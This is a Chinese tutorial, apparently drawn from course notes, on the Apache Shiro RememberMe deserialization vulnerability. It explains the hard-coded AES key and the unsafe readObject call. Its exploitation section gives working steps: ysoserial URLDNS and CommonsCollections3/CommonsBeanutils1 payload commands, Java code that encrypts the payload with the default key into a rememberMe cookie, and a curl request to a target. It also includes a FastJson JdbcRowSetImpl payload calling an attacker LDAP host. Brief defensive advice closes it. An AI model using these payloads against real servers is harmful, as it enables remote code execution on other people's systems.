Apache Shiro反序列化漏洞深度剖析：从原理到利用

引言

在Web安全的世界里，反序列化漏洞一直是最危险的漏洞类型之一。今天，我们将深入探讨Apache Shiro框架中的两个著名反序列化漏洞.通过通俗易懂的解释和详细的实例，帮助你理解这类漏洞的本质和危害。

Shiro框架与"记住我"功能简介

Apache Shiro是Java世界中广泛使用的安全框架，主要用于实现用户认证、授权和会话管理功能。如果你曾在Java Web应用中看到过登录页面上的"记住我"选项，很可能背后就是Shiro在默默工作。

这个"记住我"(RememberMe)功能的核心逻辑是：

用户勾选"记住我"并成功登录
Shiro将用户身份信息存入cookie
用户下次访问时，即使关闭过浏览器，系统也能识别用户身份

听起来很方便，但正是这个功能存在严重安全隐患。

Java序列化与反序列化基础

在理解漏洞前，先简单了解一下Java中的序列化与反序列化：

序列化：将Java对象转换为字节序列的过程，便于存储或传输
反序列化：将字节序列恢复为Java对象的过程

基本的Java序列化代码如下：

// 序列化示例
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(userObject);  // 将对象序列化
byte[] serializedData = baos.toByteArray();// 反序列化示例
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bais);
Object restoredObject = ois.readObject();  // 这里可能有安全风险！

其中，readObject()方法是安全风险的关键点，因为它会在反序列化过程中执行对象中定义的特定方法。

"记住我"功能的工作流程

Shiro处理"记住我"功能的流程是：

当用户登录时（存储过程）：

用户身份信息 → 序列化 → AES加密 → Base64编码 → RememberMe Cookie

当用户再次访问时（读取过程）：

RememberMe Cookie → Base64解码 → AES解密 → 反序列化 → 用户身份信息

这个过程中最关键的问题是：

Shiro使用了硬编码的AES密钥
解密后的数据通过不安全的方式进行反序列化

漏洞详细分析

通过调试Shiro源码，我们可以看到漏洞的关键所在：

// 序列化用户身份信息的代码
protected byte[] serialize(PrincipalCollection principals) {ByteArrayOutputStream baos = new ByteArrayOutputStream();BufferedOutputStream bos = new BufferedOutputStream(baos);try {ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(principals);  // 将用户信息序列化oos.close();return baos.toByteArray();} catch (IOException e) {// 异常处理}
}// 加密序列化数据的代码
protected byte[] encrypt(byte[] serialized) {byte[] value = serialized;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());value = byteSource.getBytes();}return value;
}// 反序列化代码 - 漏洞触发点
protected PrincipalCollection deserialize(byte[] serializedIdentity) {ByteArrayInputStream bais = new ByteArrayInputStream(serializedIdentity);ObjectInputStream ois = new ObjectInputStream(bais);try {return (PrincipalCollection)ois.readObject();  // 漏洞触发点！} finally {ois.close();bais.close();}
}

漏洞的两个关键点：

硬编码的AES密钥：private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
不安全的反序列化：ois.readObject()方法在没有任何验证的情况下执行

这就像是给银行保险柜装了一把所有人都知道密码的锁，而且保险柜还会自动执行里面放入的任何指令。

漏洞利用步骤

利用这个漏洞的过程可以分为四个步骤：

步骤1：构造恶意序列化对象

首先，我们需要一个能在反序列化时执行命令的对象。可以使用ysoserial工具生成：

java -jar ysoserial.jar URLDNS "http://dnslog.cn/xyz123" > urldns.txt

这里使用URLDNS链条是因为它只需要Java内置类，适合用来验证漏洞是否存在。它的工作原理是：

// URLDNS链条的核心原理
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://dnslog.cn/xyz123");// 通过反射修改URL的hashCode值，避免序列化时触发DNS请求
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef);  // 先设置一个固定值// 将URL放入HashMap
hashMap.put(url, "test");// 重新设置hashCode为-1，确保反序列化时触发
f.set(url, -1);// 序列化对象
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.txt"));
oos.writeObject(hashMap);

当这个对象被反序列化时，HashMap会调用URL的hashCode方法，触发DNS请求。

步骤2：加密序列化对象

由于Shiro期望接收的是加密后的序列化数据，我们需要使用相同的加密方式处理恶意对象：

// 加密步骤
SecureRandom random = new SecureRandom();
byte[] iv = new byte[16];
random.nextBytes(iv);  // 生成随机初始化向量Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="), "AES"), new IvParameterSpec(iv));// 读取恶意序列化对象
byte[] evilBytes = Files.readAllBytes(Paths.get("urldns.txt"));
byte[] encryptedData = cipher.doFinal(evilBytes);// 组合IV和加密数据
byte[] combined = new byte[iv.length + encryptedData.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encryptedData, 0, combined, iv.length, encryptedData.length);// Base64编码
String rememberMeCookie = Base64.getEncoder().encodeToString(combined);

这段代码模拟了Shiro的加密流程：

生成随机IV
使用AES-CBC模式加密
将IV和加密数据拼接
Base64编码

步骤3：发送恶意Cookie

将生成的cookie值放入HTTP请求中：

Cookie: rememberMe=AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0...

可以使用各种工具发送这个请求：

curl -v -H "Cookie: rememberMe=AAECAwQ..." http://vulnerable-server.com

步骤4：确认漏洞存在

如果使用URLDNS链，可以在DNS日志平台查看是否收到目标服务器的请求，从而确认漏洞存在。

进阶：命令执行利用链

URLDNS链只能验证漏洞存在，无法执行命令。要实现远程命令执行，需要使用更高级的利用链，如CommonsCollections系列。

老师特别提到了CommonsBeanUtils链和CommonsCollections链：

# 使用CommonsCollections3生成执行命令的payload
java -jar ysoserial.jar CommonsCollections3 "ping attacker.com" > cc3.bin# 使用CommonsBeanutils链
java -jar ysoserial.jar CommonsBeanutils1 "whoami" > cb1.bin

选择哪种利用链，取决于目标应用包含的依赖库：

如果应用包含commons-collections库，可以使用CommonsCollections系列链
如果应用包含commons-beanutils库，可以使用CommonsBeanutils链
如果不确定，可以先用URLDNS链验证漏洞存在

Java反序列化链VS FastJson链

老师特别强调了一点：不能使用FastJson的链条攻击Shiro漏洞。这是因为它们是完全不同的反序列化机制：

Java原生反序列化 vs FastJson

数据格式不同：
- Java原生序列化使用二进制格式
- FastJson使用JSON文本格式
触发机制不同：
- Java原生反序列化通过readObject()方法触发
- FastJson通过解析JSON时调用setter/getter方法触发
实例对比：

// Java原生序列化数据（二进制）
[二进制数据...]// FastJson数据（文本格式）
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true
}

简单来说，这就像是两种完全不同的语言，即使它们都可能利用相同的类（如JdbcRowSetImpl），但触发方式完全不同，无法互相替代。

防御措施

了解了漏洞原理，我们可以采取以下措施防御：

更新Shiro版本：使用最新版本的Apache Shiro
自定义加密密钥：

RememberMeManager rememberMeManager = new CookieRememberMeManager();
byte[] cipherKey = new SecureRandom().generateSeed(16); // 随机密钥
rememberMeManager.setCipherKey(cipherKey);